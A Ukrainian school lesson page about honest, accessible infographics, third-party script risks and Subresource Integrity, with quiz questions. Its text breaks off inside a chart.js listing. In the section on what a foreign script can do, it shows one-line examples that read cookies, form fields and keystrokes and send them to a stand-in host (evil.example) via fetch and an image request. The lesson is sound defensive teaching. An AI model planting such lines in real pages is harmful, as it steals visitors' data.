До списку уроків
10 клас · Урок 6 з 16

Чесна інфографіка: доступність, чужий код і SRI

виконано0%
Крок 1

Що робимо сьогодні

У тебе вже є чистий data.csv з минулого уроку. Сьогодні він стає інфографікою — і заразом ти вчишся не довіряти жодному рядку коду, який написав не ти.

Минулого уроку ти прибрав із датасету все, що вказує на конкретну людину. Сьогодні — друга половина тієї самої роботи. Треба показати дані так, щоб їх правильно зрозуміли. Усі, а не лише ти. І той, хто не розрізняє червоне й зелене. І той, хто взагалі не бачить екрана.

І третя частина, найважливіша. Щоб намалювати діаграму, зазвичай підключають чужу бібліотеку одним рядком з чужого сервера. Цей один рядок віддає авторові бібліотеки стільки ж прав на твоїй сторінці, скільки маєш ти сам. Сьогодні розберемо, що з цим роблять.

Після уроку ти вмієш

Слова SRI, integrity і ланцюг постачання поки нічого не означають. Дійдемо до кожного — після прикладу, а не до нього.

Що поїде на сервер

ФайлЩо в ньому
~/www/infographic/index.html сторінка інфографіки: ≥2 діаграми, таблиця-дублікат, підпис із джерелом, висновок ≥120 слів
~/www/infographic/chart.js твій власний код побудови: читає data.csv і малює SVG
~/www/infographic/credits.md той самий файл із уроку 5, доповнений розділом про зовнішні залежності
~/www/infographic/data.csv уже лежить на сервері з минулого уроку — сьогодні не чіпаємо
Тека зветься за темою, не за номером уроку Практика лежить у ~/www/infographic/ — тій самій теці, що й на уроці 5. Не шукай lesson-06: тема одна, уроки два.

Хід уроку

ЕтапХвЩо робиш
Тип під дані10швидко добираєш форму під свої колонки
Чесний підпис15джерело, дата збору, розмір вибірки — і що без них
Доступність20альтернатива-висновок, таблиця-дублікат, колір і контраст
Побудова діаграм25chart.js на своєму data.csv
Чужий код і ланцюг постачання20що може скрипт із чужого домену
SRI15рахуєш хеш, ламаєш його, дивишся на відмову браузера
Висновок і автоперевірка15≥120 слів у #conclusion, чеклист до зеленого
Крок 2

Тип діаграми: повторення за п'ять хвилин

Це ти вже проходив. Тут — тільки таблиця-нагадування, щоб не витрачати урок на відоме

У 9 класі ти розбирав, як діаграма бреше правдивими числами: обрізана вісь, 3D, порядок категорій, число без одиниці. Правила не змінилися. Швидко звіряємось і йдемо далі — сьогоднішня тема інша.

Що показуєшФормаЧому саме вона
порівняння категорійстовпчики довжину око порівнює точніше за все інше
довгі підписи категорійгоризонтальні стовпчики підпис не доводиться повертати боком
зміна в часілінія нахил читається як швидкість зміни
частки цілого, 2—3 категоріїкругова більше секторів — і кути вже не порівняти
зв'язок двох чиселточкова видно і напрям зв'язку, і викиди
Одне правило з 9 класу, яке сьогодні ще знадобиться Вісь значень у стовпчиковій діаграмі починається з нуля. Якщо ти свідомо її обрізав — постав явну позначку про розрив просто на діаграмі, а не в підписі дрібним шрифтом.

Наш наскрізний приклад на весь урок — той самий датасет, що був у прикладі минулого уроку: як учні добираються до школи. Він уже анонімізований — замість адрес райони, замість точного часу смуги, і в кожній групі не менш ніж пʼятеро людей:

~/www/infographic/data.csv — той самий файл із уроку 5
district,transport,minutes_band,students Центр,пішки,до 15,12 Центр,громадський,15-30,9 Центр,авто,до 15,6 Північ,пішки,до 15,7 Північ,громадський,15-30,14 Північ,велосипед,15-30,5 Північ,авто,15-30,5 Захід,пішки,15-30,8 Захід,громадський,30-45,11 Захід,авто,15-30,6 Схід,громадський,30-45,10 Схід,пішки,15-30,5 12 рядків даних, 4 колонки, разом 98 відповідей

Підсумок по способах: громадський 44, пішки 32, авто 17, велосипед 5. Разом 98. Ці чотири числа зʼявлятимуться на сторінці далі — звіряй їх щоразу.

Питання

Ти просиш AI-редактор «побудуй діаграму за моїм data.csv», і він видає гарний код із числами 46, 30, 15, 7. Виглядає правдоподібно. Що робиш першим?

Крок 3

Підпис, якому можна вірити

«За даними опитування» — це не джерело. Це фраза, яка виглядає як джерело

Будь-яка діаграма — це твердження про світ. Перевірити твердження можна лише тоді, коли поруч написано три речі. Немає хоча б однієї — і діаграму неможливо ні підтвердити, ні спростувати.

Що вказуєшНавіщо це читачевіПриклад
Джерело даних хто зібрав і чи можна дістатися до сирих даних власне опитування учнів школи, форма Google
Дата збору дані застарівають; «пів класу на самокатах» узимку і в травні — різні числа 12—14.02.2026
Розмір вибірки задає точність: на 20 відповідях різниця в 5 відсотків — шум 98 відповідей, зібраних у чотирьох районах

Чому саме розмір вибірки вирішує

У нас 98 відповідей. Громадським їздять 44 особи — це 44,9%. Але 98 — це не вся країна і навіть не вся школа, тому кожен відсоток має похибку. Для частки її грубо оцінюють так:

довірчий інтервал 95% для частки (шкільна формула)
похибка = 1.96 × √( p × (1 − p) / n ) p = 44/98 = 0.449 n = 98 p × (1 − p) / n = 0.449 × 0.551 / 98 = 0.002524, корінь = 0.0502 похибка = 1.96 × 0.0502 = 0.098 → ±9.8 відсоткових пункти
СпосібОсібЧасткаІнтервал 95%
громадський4444,9%35,1 — 54,7%
пішки3232,7%23,4 — 41,9%
авто1717,3%9,9 — 24,8%
велосипед55,1%0,7 — 9,5%
разом98100%
Що з цього випливає для заголовка Інтервали «громадський» (35,1—54,7%) і «пішки» (23,4—41,9%) накладаються. Це означає: на такій вибірці не можна стверджувати, що громадським їздять частіше, ніж ходять пішки. Заголовок «Громадський транспорт — безумовний лідер» твої дані не підтверджують. Чесний заголовок: «Громадським і пішки — понад три чверті всіх відповідей, 76 із 98».

Числа в таблиці пораховані за формулою вище; перевір будь-який рядок калькулятором — має зійтися до десятої.

Питання

У новинах діаграма: «68% українців підтримують ідею». Під нею дрібним шрифтом: «за даними опитування». Більше нічого. Яке одне питання найшвидше покаже, чи варта ця діаграма довіри?

Як це виглядає в коді

infographic/index.html — підпис під діаграмою
<figure> <svg id="chart1" role="img" aria-labelledby="t1 d1">…</svg> <figcaption> Чим учні добираються до школи. Джерело: власне опитування учнів школи (форма Google). Зібрано 12—14.02.2026. Вибірка: 98 відповідей із чотирьох районів. Похибка ±10 відсоткових пунктів. </figcaption> </figure>
Питання

Ти зібрав 98 відповідей. Але 31 з них — з Півночі: саме там ти роздавав форму особисто. Зі Сходу відповіли лише 15 людей. Що з цим треба зробити в підписі?

Крок 4

Діаграма для того, хто її не бачить

Скрінрідер не дивиться на картинку. Він читає те, що ти написав словами — або мовчить

У 9 класі було правило «дай alt». Сьогодні дивимось, що саме в цьому alt писати, бо саме тут ламаються майже всі роботи.

Альтернатива описує висновок, а не форму

ВаріантЩо чує людинаОцінка
alt="діаграма" «діаграма» формально є, змісту нуль — це найчастіша помилка
alt="стовпчикова діаграма з чотирма стовпчиками різної висоти" опис форми переказано картинку, а не дані: висновку немає
alt="Громадським і пішки добирається 78% опитаних (76 із 98); авто — 17, велосипед — 5" власне зміст саме те, що треба: висновок + опорні числа

Простий тест: прочитай свій опис уголос по телефону людині, яка не бачить екрана. Якщо після цього вона може переказати висновок своїми словами — опис хороший.

Та сама діаграма очима людини і вухами скрінрідера Ліворуч — чотири горизонтальні стовпчики зі значеннями 44, 32, 17 і 5. Праворуч — два варіанти озвучення: без опису скрінрідер повідомляє лише «графіка», з описом і таблицею він передає висновок і всі чотири числа. Як бачить людина Що чує скрінрідер чим добираються до школи · 98 відповідей громадський 44 пішки 32 авто 17 велосипед 5 0 45 осіб Джерело: опитування учнів школи. Зібрано 12—14.02.2026. Вибірка 98 відповідей; похибка ±10 в. п. поруч із діаграмою — та сама таблиця: 44 / 32 / 17 / 5 <canvas id="chart1"></canvas> жодного тексту всередині скрінрідер вимовляє: «графіка» і все. Ні чисел, ні висновку, ні натяку, що тут узагалі дані <svg role="img" aria-labelledby> + <title> + <desc> + таблиця поруч скрінрідер вимовляє: «Чим добираються до школи. Громадським і пішки — близько 78 відсотків, 76 із 98. Таблиця, 4 рядки, 2 стовпці…» далі можна ходити по клітинках
Ліва половина не змінюється — змінюється лише те, що ти написав словами. Текст озвучення наведено спрощено: конкретні формулювання відрізняються в NVDA, JAWS і VoiceOver, але суть однакова.

Три рівні опису: обирай під складність діаграми

  1. Проста діаграма<title> з висновком і числами прямо в ньому. Для чотирьох стовпчиків цього достатньо.
  2. Складніша<title> з висновком плюс <desc> з розбором, і aria-labelledby, що вказує на обидва.
  3. Будь-яка, де є конкретні числа — поруч таблиця з тими самими числами. Це найнадійніше: таблиця доступна за замовчуванням, її можна скопіювати, вона переживе зламаний JavaScript і друк на чорно-білому принтері.
infographic/index.html — доступна діаграма
<figure> <svg role="img" aria-labelledby="c1t c1d" viewBox="0 0 480 260"> <title id="c1t">Громадським і пішки — 78% опитаних (76 із 98)</title> <desc id="c1d">Громадський 44, пішки 32, авто 17, велосипед 5. Джерело: опитування учнів школи, 12—14.02.2026, 98 відповідей.</desc> <!-- стовпчики малює chart.js --> </svg> <figcaption>…джерело, дата, вибірка…</figcaption> </figure> <table> <caption>Ті самі числа таблицею</caption> <thead><tr><th>Спосіб</th><th>Осіб</th></tr></thead> <tbody> <tr><td>громадський</td><td>44</td></tr> <tr><td>пішки</td><td>32</td></tr> <tr><td>авто</td><td>17</td></tr> <tr><td>велосипед</td><td>5</td></tr> </tbody> </table>
Чому <svg>, а не <canvas> У <canvas> немає жодного елемента всередині — це один прямокутник пікселів, і доступним його робить лише aria-label ззовні. SVG складається з тегів: у нього можна покласти <title>, <desc>, підписи текстом, і все це масштабується без розмиття. Для нашої задачі SVG кращий у всьому.
Питання

Однокласник написав alt="стовпчикова діаграма опитування учнів 10-х класів" і вважає, що доступність зроблена. Чому вчитель попросить переписати цей опис?

Питання

Твоя сторінка малює діаграму скриптом із data.csv. У школі впав інтернет на середині завантаження, і скрипт не виконався. Що бачить читач, якщо ти зробив усе за сьогоднішніми правилами?

Крок 5

Колір не має бути єдиним носієм сенсу

Приблизно 8% чоловіків і 0,5% жінок європейського походження погано розрізняють червоне й зелене. У паралелі з 78 учнів це двоє-троє людей

Мова не про «особливих глядачів». Той самий ефект дає вицвілий проєктор, чорно-білий принтер, знімок екрана в месенджері й нічний режим телефона. Правило одне: колір може лише дублювати ознаку, яка вже закодована чимось іншим.

ТипЩо погано розрізняєтьсяПоширеність
дейтераномалія і дейтеранопіязелений і червоний найпоширеніша форма, близько 6% чоловіків
протаномалія і протанопіячервоний і зелений, червоний темнішає близько 2% чоловіків
тританопіясиній і зелений, жовтий і рожевий рідкісна, менш ніж 0,01%
ахроматопсіяколір узагалі, лишається яскравість дуже рідкісна; але саме це бачить чорно-білий принтер
Дві палітри в нормальному зорі й при дейтеранопії Палітра «світлофор» із червоного, зеленого, помаранчевого й коричневого при дейтеранопії перетворюється на чотири схожі жовто-коричневі відтінки. Палітра з синього, помаранчевого, зеленого й рожевого лишається розрізненною. Палітра «світлофор»: червоний · зелений · помаранчевий · коричневий нормальний зір ΔE мін. 40 дейтеранопія ΔE мін. 7 «червоний» і «зелений» злилися — легенда стала марною Палітра Okabe—Ito: синій · помаранчевий · зелений · рожевий так само ΔE мін. 18
Симульовані кольори пораховані матрицями Viénot, Brettel і Mollon (1999) — тим самим кодом, що працює в симуляторі нижче. ΔE — відстань між двома найближчими кольорами палітри у просторі CIE Lab; за поріг «плутаються» на цій сторінці взято 10.

Чим ще, крім кольору, розрізняти серії

Контраст: два пороги, які треба пам'ятати

Числа нижче взяті не зі стелі. Їх записано в міжнародному наборі правил доступності веб-сторінок. Набір зветься WCAG — Web Content Accessibility Guidelines, «настанови щодо доступності веб-вмісту». Пише його консорціум W3C, той самий, що описує сам HTML. На WCAG посилаються закони про доступність державних сайтів. Тож це не порада «для гарного тону», а робочий стандарт. Чинна версія — 2.1, і кожна вимога в ній має свій номер: саме ці номери стоять у третій колонці.

ЩоМінімальний контрастЗвідки правило
звичайний текст: підписи осей, значення4.5:1 WCAG 2.1, критерій 1.4.3, рівень AA
великий текст: заголовок діаграми від 24px3:1 той самий критерій 1.4.3
самі стовпчики, лінії, межі полів3:1 WCAG 2.1, критерій 1.4.11 «контраст нетекстових елементів»

Контраст — це відношення яскравостей двох кольорів, і його рахують за формулою, а не на око. Ось повний розрахунок для помаранчевого #FF7F0E на білому тлі:

контраст #FF7F0E до #FFFFFF — рахуємо руками
1. кожен канал у частку: R=255/255=1.000 G=127/255=0.498 B=14/255=0.055 2. лінеаризація: c ≤ 0.04045 ? c/12.92 : ((c+0.055)/1.055)^2.4 R = 1.000000 G = 0.212231 B = 0.004391 3. яскравість: L = 0.2126·R + 0.7152·G + 0.0722·B L = 0.364704 L білого = 1.0 4. контраст = (Lсвітлішого + 0.05) / (Lтемнішого + 0.05) (1.0 + 0.05) / (0.364704 + 0.05) = 2.53 : 1 2.53 < 3.0 — помаранчевий стовпчик на білому не проходить навіть нижчий поріг. Підпис таким кольором — тим паче.
Контраст залежить від тла, а тло змінюється Той самий помаранчевий на чорному тлі дає 8.4:1 — і проходить із запасом. Тому перевіряти треба проти реального тла своєї сторінки, а якщо сторінка вміє темну тему — проти обох. Симулятор нижче рахує контраст саме до тла цієї сторінки: перемкни тему системи й побач, як числа зміняться.
Питання

Ти зробив діаграму «виконано / не виконано» зеленим і червоним без підписів — «бо це ж очевидно». Учитель відкрив її на проєкторі, і половина класу не змогла сказати, який стовпчик який. Найдешевше виправлення, яке не вимагає міняти палітру?

Крок 6

Симулятор: як твою палітру бачать інші

Обери палітру для своєї діаграми, перемкни тип зору — і подивись, що лишиться від легенди

Сторінка бере кольори, переводить їх у лінійний RGB, множить на матрицю відповідного типу дальтонізму й повертає назад. Це та сама математика, яку використовують редактори й розширення для браузера. Контраст рахується до реального тла цієї сторінки за формулою WCAG з попереднього кроку.

палітра тип зору чим ще розрізняються серії свої кольори
що сторінка бачить у цій палітрі
контраст кожного кольору до тла сторінки
КатегоріяКолірЯк його видноКонтрастПоріг 3:1
Як цим користуватися Постав свої чотири кольори через «своя палітра», пройдись по всіх типах зору й перевір, що жодна пара не підсвічується червоним. Якщо підсвічується — або міняй колір, або вмикай штрихування й підписи: два носії сенсу замість одного.
Чесно про пороги ΔE 10 і 20 — це робочі пороги цієї сторінки, а не стандарт. У CIE Lab за поріг ледь помітної різниці зазвичай беруть ΔE ≈ 2,3, але то для двох плям, що торкаються одна одної. Для стовпчиків у різних кутах діаграми, та ще й на проєкторі, потрібен значно більший запас — звідси й ці числа. Контраст 3:1 і 4.5:1 — навпаки, точні значення зі стандарту WCAG 2.1.
Питання

У симуляторі ти обрав палітру «один тон». При всіх типах дальтонізму ΔE лишається великим. Зате контраст двох найсвітліших кольорів до тла — 1,4 і 2,4. Що це означає для твоєї діаграми?

Крок 7

Один рядок, що дає чужому коду твої права

Скрипт із чужого домену виконується не «в себе». Він виконується всередині твоєї сторінки й з твоїми правами

Це найважливіше речення сьогоднішнього уроку, і його зазвичай розуміють неправильно. Ось цей рядок:

звичайне підключення бібліотеки
<script src="https://cdn.example.com/counter/1.0/counter.js"></script>

Файл прийшов із cdn.example.com, але виконується він усередині твоєї сторінки — тієї, що відкрита за адресою 91.219.61.4/s/ivan. Для браузера цей код невідрізнимий від твого власного.

Чому так, зрозуміліше з одного правила браузера. Уяви два сусідні під'їзди. Мешканець першого не зайде в чужу квартиру в другому, навіть якщо будинок один. Так само влаштовані вкладки: скрипт зі сторінки evil.example не прочитає вміст твоєї сторінки 91.219.61.4/s/ivan у сусідній вкладці. Браузер розділяє їх за походженням — це трійка «протокол + домен + порт». Саме правило зветься правилом одного походження, англійською same-origin policy.

А тепер головне. Це правило захищає твій документ від чужих сторінок. Про скрипти, які твоя сторінка запросила сама, воно не каже нічого. Рядок <script src="…"> — це запрошення. Ти сам відчинив двері й пустив гостя. Далі він ходить твоєю квартирою на тих самих правах, що й ти.

Що може зробити чужий скрипт усередині твоєї сторінки Усередині вкладки браузера з адресою 91.219.61.4/s/ivan лежать твій код і чужий скрипт. Від чужого скрипта йдуть стрілки до полів форми, до cookie, до вмісту сторінки та назовні — на сервер зловмисника. вкладка браузера · походження http://91.219.61.4/s/ivan/ твій chart.js малює діаграму counter.js з CDN рахує відвідування однакові права форма поле «email» поле «пароль» document.cookie сесія, налаштування localStorage теж увесь DOM вставити банер, підмінити номер картки і найголовніше: може відправити зібране куди завгодно new Image().src = "https://evil.example/log?d=" + дані чого він НЕ може: читати файли твого комп'ютера, cookie інших сайтів, cookie з міткою HttpOnly сервер зловмисника evil.example що бачить власник CDN IP відвідувача адресу твоєї сторінки браузер і версію точний час візиту — і без жодної атаки
Права чужого скрипта дорівнюють правам твого власного коду. Різниця лише в тому, що свій код ти читав, а чужий — ні.

Що конкретно вміє скрипт на сторінці

ДіяОдин рядок кодуНаслідок для відвідувача
прочитати поле форми document.querySelector('#email').value адреса, телефон, іноді пароль ідуть на чужий сервер
слухати кожне натискання addEventListener('keydown', …) усе, що набирають на сторінці, зчитується посимвольно
прочитати cookie document.cookie чужа сесія: зайти під тобою без пароля
вставити свій вміст document.body.insertAdjacentHTML(…) реклама, фальшива форма входу, підмінені реквізити
відправити дані fetch('https://evil.example', {method:'POST', body:…}) тихо, без жодної позначки в інтерфейсі
Найнеприємніше Усе це відбувається на комп'ютері відвідувача. У логах твого сервера не буде нічого: запити летять із браузера гостя напряму на чужий домен. Ти дізнаєшся про це останнім — від людей, які скаржаться.
Питання

Ти підключив лічильник відвідувань із безкоштовного сайту одним рядком <script src>. Через місяць у відвідувачів твоєї сторінки почала з'являтися чужа реклама. Ти нічого не міняв, файли на сервері ті самі. Як таке можливо?

Крок 8

Атака на ланцюг постачання

Зламати тисячу сайтів по одному важко. Зламати одну бібліотеку, яку підключила тисяча сайтів, — набагато простіше

Уяви, що в двадцять шкіл возять хліб з однієї пекарні. Щоб зіпсувати обід у всіх двадцяти, не треба заходити в кожну їдальню. Досить однієї пекарні.

З кодом так само. Твій сайт ніхто окремо ламати не буде: він нікому не цікавий. Але код приходить до нього через кілька чужих рук. Такий шлях і звуть ланцюгом постачання.

Удар припадає не по тобі, а по ланці вище. Дістає він усіх, хто нижче.

Ланцюг від автора бібліотеки до відвідувача твого сайту Ланцюг із п'яти ланок: автор бібліотеки, репозиторій пакетів, CDN, твоя сторінка, браузер відвідувача. Три перші ланки чужі, і кожну з них можна скомпрометувати — наслідок доходить до останньої. автор бібліотеки його акаунт репозиторій npm, GitHub версія 1.0.1 CDN роздає файл мільйонам сайтів твоя сторінка один рядок гість однокласник, учитель Ланцюг постачання коду три перші ланки — чужі: ти не керуєш жодною з них точка 1 вкрали пароль або автор передав проєкт незнайомцю точка 2 у нову версію дописано кілька рядків точка 3 домен CDN продано або перехоплено а тут не зламали нічого твої файли не змінилися, пароль не витік, права 644 — і сторінка все одно шкодить SRI ставить замок на ланку 3: браузер звіряє хеш файлу з тим, що ти записав у себе
Ланки 1 і 2 SRI не закриває: якщо шкідливий код потрапив у файл ще до того, як ти порахував хеш, — хеш у тебе буде «правильний». Від цього рятує інше: читати, що підключаєш, і не оновлюватися наосліп.

Що вже сталося насправді

ВипадокКолиЩо сталося
event-streamлистопад 2018 автор популярного npm-пакета передав права людині, яка попросила допомогти з підтримкою. Та додала залежність зі шкідливим кодом, що крав ключі криптогаманця Copay. Пакет качали мільйони разів на тиждень
ua-parser-jsжовтень 2021 зламали акаунт мейнтейнера; у трьох опублікованих версіях з'явився криптомайнер і збирач паролів. Пакет — одна з найпопулярніших бібліотек розбору User-Agent
polyfill.ioчервень 2024 домен популярного CDN купила інша компанія, і скрипт почав перенаправляти частину відвідувачів на шахрайські сайти. Оцінки постраждалих сайтів — понад сто тисяч. Власники сайтів не робили нічого: у них стояв старий рядок <script src>
British Airways2018 у скрипт на сайті авіакомпанії дописали кілька десятків рядків, які копіювали дані банківських карток при оплаті. Постраждали сотні тисяч транзакцій; британський регулятор наклав штраф у 20 мільйонів фунтів
left-padберезень 2016 не атака, а зникнення: автор прибрав з npm крихітний пакет на 11 рядків — і збірка тисяч проєктів по всьому світу впала за кілька хвилин
Питання

Твій сайт — сторінка з діаграмами про транспорт до школи. Жодних паролів, жодних грошей. Однокласник каже: «Кому ти потрібен, щоб тебе ламати». У чому він помиляється?

Крок 9

SRI: перевірка, що прийшов саме той файл

Subresource Integrity — це відбиток пальця файлу. Не збігся — браузер просто не виконає код

Коли ти забираєш посилку, на ній є номер. Ти звіряєш номер з тим, що в застосунку, — і лише тоді береш коробку. Не збігся номер — це чужа посилка.

З файлом роблять так само. Ти один раз рахуєш хеш того файлу, який перевірив і якому довіряєш. Хеш — це короткий рядок, порахований з умісту файлу. Зміниться хоч один байт — рядок стане зовсім іншим.

Цей рядок ти записуєш прямо в тег. Далі браузер кожного відвідувача рахує хеш того, що прийшло з мережі, і порівнює зі своїм. Не збіглося — код не виконується. Механізм зветься SRI, Subresource Integrity.

підключення з перевіркою цілісності
<script src="https://cdn.example.com/counter/1.0/counter.js" integrity="sha256-тут base64 хеша саме цього файлу" crossorigin="anonymous"></script>
ЧастинаЩо означає
sha256- назва алгоритму. Дозволені sha256, sha384, sha512. Найчастіше пишуть sha384 — не тому, що інші «слабкі», а через звичку й приклади в документації
довгий рядок після дефіса сам хеш у base64. Це не шифрування: з хеша файл не відновити, він потрібен лише для порівняння
crossorigin="anonymous" обов'язково для чужого домену. Без нього браузер не отримає права прочитати тіло відповіді, не зможе порахувати хеш — і заблокує скрипт, навіть якщо той цілий
кілька хешів через пробіл дозволено: integrity="sha256-… sha384-…". Достатньо, щоб збігся хоч один — так роблять під час переходу на новий алгоритм
Як браузер перевіряє integrity Браузер завантажує файл, рахує його хеш і порівнює з рядком у атрибуті integrity. Якщо хеші збіглися — скрипт виконується; якщо ні — файл відкидається, а в консоль іде повідомлення про заблокований ресурс. 1. запит GET counter.js 2. файл прийшов 1 284 байти 3. браузер рахує SHA від отриманих байтів 4. порівнює з тим, що в integrity= збіглися — скрипт виконується той самий файл, який ти перевірив, байт у байт. Сторінка працює як завжди, у консолі порожньо не збіглися — файл відкинуто скрипт не виконується взагалі; помилка в консолі Перевірка цілісності: чотири кроки в браузері відвідувача
Розмір 1 284 байти — ілюстративний, для наочності кроку 2. Решта схеми описує реальну поведінку будь-якого сучасного браузера.

Як порахувати хеш самому

Три різні інструменти мають дати однаковий рядок. Якщо не дають — ти рахуєш не той файл або не ті байти.

Git Bash, macOS, Linux
$ openssl dgst -sha256 -binary counter.js | openssl base64 -A gaaMFNHZyRta8zB2VHkWLMP4tMxJ+d8v3dTW7nw2r6M= $ # у тег пишеш із префіксом: integrity="sha256-gaaM…r6M="
Windows PowerShell 5.1
$ $b = [IO.File]::ReadAllBytes("counter.js") $ $h = [Security.Cryptography.SHA256]::Create().ComputeHash($b) $ "sha256-" + [Convert]::ToBase64String($h) sha256-gaaMFNHZyRta8zB2VHkWLMP4tMxJ+d8v3dTW7nw2r6M=
Чому не Get-FileHash Get-FileHash у PowerShell видає хеш у шістнадцятковому вигляді, а integrity вимагає base64. Це різні записи одного й того самого числа, і просто вставити вивід Get-FileHash у тег не вийде — браузер мовчки заблокує скрипт.

Наведений вище рядок gaaMFNH…r6M= — це справжній SHA-256 від тексту var a=1; без переведення рядка. Можеш перевірити обома командами: збігається до символу.

Від чого SRI не рятує

Питання

Ти скопіював рядок <script src integrity> з чужої сторінки, але шлях виправив на нову версію бібліотеки. Сторінка відкрилася порожньою, у консолі помилка. Що сталося?

Крок 10

Лабораторія: підміни файл на CDN

Ліворуч — те, що лежить на чужому сервері. Праворуч — дві твої сторінки: з integrity і без нього

Хеші тут справжні: сторінка рахує SHA-256 від того тексту, який бачиш у чорному вікні, тим самим алгоритмом, що й openssl. Перемкни стан файлу — і дивись, що зміниться в обох колонках.

що зараз лежить на cdn.example.com
counter.js

рядок у твоєму index.html
infographic/index.html
так робить розробник, коли свідомо оновлює бібліотеку
Сторінка з integrity

браузер порівнює хеші перед виконанням

Та сама сторінка без integrity

браузер виконує все, що прийшло

Головне, що видно з цієї лабораторії Браузер не розуміє, добрий код чи поганий. Він уміє відповісти рівно на одне питання: це той самий файл, що ти бачив, чи вже інший. Усе інше — твоя робота: прочитати код, перш ніж рахувати від нього хеш.
Питання

У лабораторії з integrity сторінка з підміненим файлом виявилася без лічильника: блок порожній. Однокласник каже, що SRI «зламав сайт». Як правильно описати те, що сталося?

Крок 11

Чому в цьому курсі бібліотеки лежать локально

CDN — це чужий сервер, від якого залежить твоя сторінка. Локальний файл — твій

SRI закриває підміну, але не закриває решту. Тому правило модуля просте: усе, що потрібно сторінці, лежить поруч із нею в ~/www/infographic/vendor/. Ось чотири причини.

Два шляхи завантаження бібліотеки: з CDN і з власного сервера Через CDN браузер відвідувача робить запит на чужий домен і повідомляє йому свій IP, адресу сторінки й браузер. З локальною копією всі запити йдуть лише на власний сервер учня. Варіант A · бібліотека з CDN браузер відвідувача HTML 91.219.61.4/s/ivan твій сервер JS + IP + Referer + User-Agent cdn.example.com чужа компанія, чужа країна Варіант B · локальна копія браузер відвідувача HTML vendor/lib.js 91.219.61.4/s/ivan усе в одному місці і під твоїми правами жодного стороннього домену: нікому не повідомляється, хто саме і коли відкрив твою сторінку у варіанті A власник CDN отримує ці дані про кожного відвідувача — навіть якщо файл цілий і чесний
Підключення з CDN — це не лише код. Це ще й повідомлення чужому серверу про кожного, хто відкрив твою сторінку. Разом із запитом файлу туди їдуть три речі. IP — мережева адреса відвідувача, з неї видно місто й провайдера. Referer — заголовок запиту, у якому браузер сам називає сторінку, з якої прийшов: чужий сервер бачить адресу твоєї роботи. User-Agent — рядок із назвою браузера, його версією та операційною системою. Разом цього досить, щоб упізнавати того самого відвідувача на різних сайтах.
ПричинаЩо це означає на практиці
CDN зникає домен не продовжили, компанія закрилася, шкільний фаєрвол блокує адресу — і на уроці твоя сторінка порожня. У 2016 автор прибрав з npm пакет на 11 рядків, і по всьому світу посипалися збірки
CDN підміняється історія polyfill.io 2024 року: власник змінився, і сотні тисяч сайтів почали віддавати відвідувачам чужий код. Жоден із власників нічого не робив
CDN стежить кожне завантаження — це запит із IP відвідувача, адресою твоєї сторінки й версією браузера. У 2022 суд у Мюнхені визнав вбудовування Google Fonts із серверів Google без згоди порушенням правил захисту даних і присудив компенсацію позивачу
Локальний файл працює офлайн сторінка відкривається з флешки, з ноутбука без мережі, на захисті проєкту в кабінеті, де впав інтернет

«Але ж CDN швидший» — уже ні

Головний аргумент за CDN звучав так: «цю бібліотеку підключають й інші сайти, вона вже в кеші браузера — завантажиться миттєво».

Це перестало працювати. Браузери розділили кеш за сайтами: Chrome із версії 86 у 2020 році, Firefox із версії 85 на початку 2021. Тепер той самий файл кешується для кожного сайту окремо.

Спільного кешу між сайтами більше немає. Виграшу в швидкості теж: зайвий домен її, навпаки, з'їдає. Ось чому.

Перш ніж завантажити файл із cdn.example.com, браузер двічі говорить із мережею. Спершу він питає: «яка ІР-адреса в цього імені?» — і чекає на відповідь. Такий пошук адреси за іменем зветься DNS-розв'язанням.

Потім браузер домовляється з тим сервером про шифрування: сторони перевіряють сертифікат і обмінюються ключами. Ця домовленість зветься TLS-рукостисканням. Як рукостискання при знайомстві, тільки замість імен сторони називають ключі.

Обидві розмови займають десятки мілісекунд, і для кожного нового домену вони починаються з нуля. Файл із твого власного сервера цих затримок не має: браузер уже туди підключений.

Правило модуля Якщо бібліотека справді потрібна — качаєш файл, кладеш у ~/www/infographic/vendor/, записуєш у credits.md назву, версію, ліцензію, звідки завантажив і хеш. Якщо все-таки береш із CDN — integrity і crossorigin обов'язкові, інакше автоперевірка не зарахує роботу.
credits.md — новий розділ, який ти сьогодні дописуєш
## Зовнішні залежності | Що | Версія | Ліцензія | Звідки | SHA-256 | |---|---|---|---|---| | немає | — | — | діаграми малює власний chart.js | — | Бібліотек не підключав: увесь код побудови діаграм написав сам, файл chart.js лежить поруч зі сторінкою. Шрифти системні, зовнішніх запитів сторінка не робить жодного.
Питання

Учень підключив бібліотеку з CDN і чесно поставив integrity. Через півроку CDN закрився, домен купили під рекламу. Що тепер побачить відвідувач його сторінки?

Крок 12

Свій chart.js і чому в розмітці немає onclick

Тридцять рядків власного коду замість бібліотеки на 300 кілобайтів — і жодного обробника подій у HTML

Для чотирьох стовпчиків бібліотека не потрібна. SVG малюється звичайними тегами, а масштаб — це одне ділення. Заразом ти точно знаєш, звідки взялося кожне число на екрані.

~/www/infographic/chart.js — каркас
'use strict'; const NS = 'http://www.w3.org/2000/svg'; async function loadCsv(url){ const res = await fetch(url); if(!res.ok) throw new Error('CSV не завантажився: ' + res.status); const rows = (await res.text()).trim().split(/\r?\n/).map(l => l.split(',')); const head = rows.shift(); return rows.map(r => Object.fromEntries(r.map((v, i) => [head[i], v]))); } function sumBy(rows, keyCol, valCol){ const m = new Map(); rows.forEach(r => m.set(r[keyCol], (m.get(r[keyCol]) || 0) + Number(r[valCol]))); return [...m].map(([label, value]) => ({ label, value })); } function el(name, attrs, text){ const n = document.createElementNS(NS, name); for(const k in attrs) n.setAttribute(k, attrs[k]); if(text !== undefined) n.textContent = text; return n; } function barChart(data, title, desc){ const W = 480, H = 30 + data.length * 40; const max = Math.max(...data.map(d => d.value)); const svg = el('svg', { viewBox: '0 0 ' + W + ' ' + H, role: 'img' }); svg.append(el('title', {}, title), el('desc', {}, desc)); data.forEach((d, i) => { const y = 10 + i * 40; const w = d.value / max * 300; // масштаб: одне ділення svg.append(el('rect', { x: 150, y: y, width: w, height: 22, rx: 3, fill: 'var(--c' + (i % 6 + 1) + ')' })); svg.append(el('text', { x: 144, y: y + 16, 'text-anchor': 'end', class: 'ch-lbl' }, d.label)); svg.append(el('text', { x: 156 + w, y: y + 16, class: 'ch-val' }, d.value)); }); return svg; } loadCsv('data.csv').then(rows => { const data = sumBy(rows, 'transport', 'students'); const total = data.reduce((s, d) => s + d.value, 0); document.getElementById('chart1').append(barChart( data, 'Громадським і пішки — 78% опитаних (76 із ' + total + ')', data.map(d => d.label + ': ' + d.value).join(', ') )); }).catch(e => { document.getElementById('chart1').textContent = 'Діаграму не побудовано: ' + e.message + '. Числа є в таблиці нижче.'; 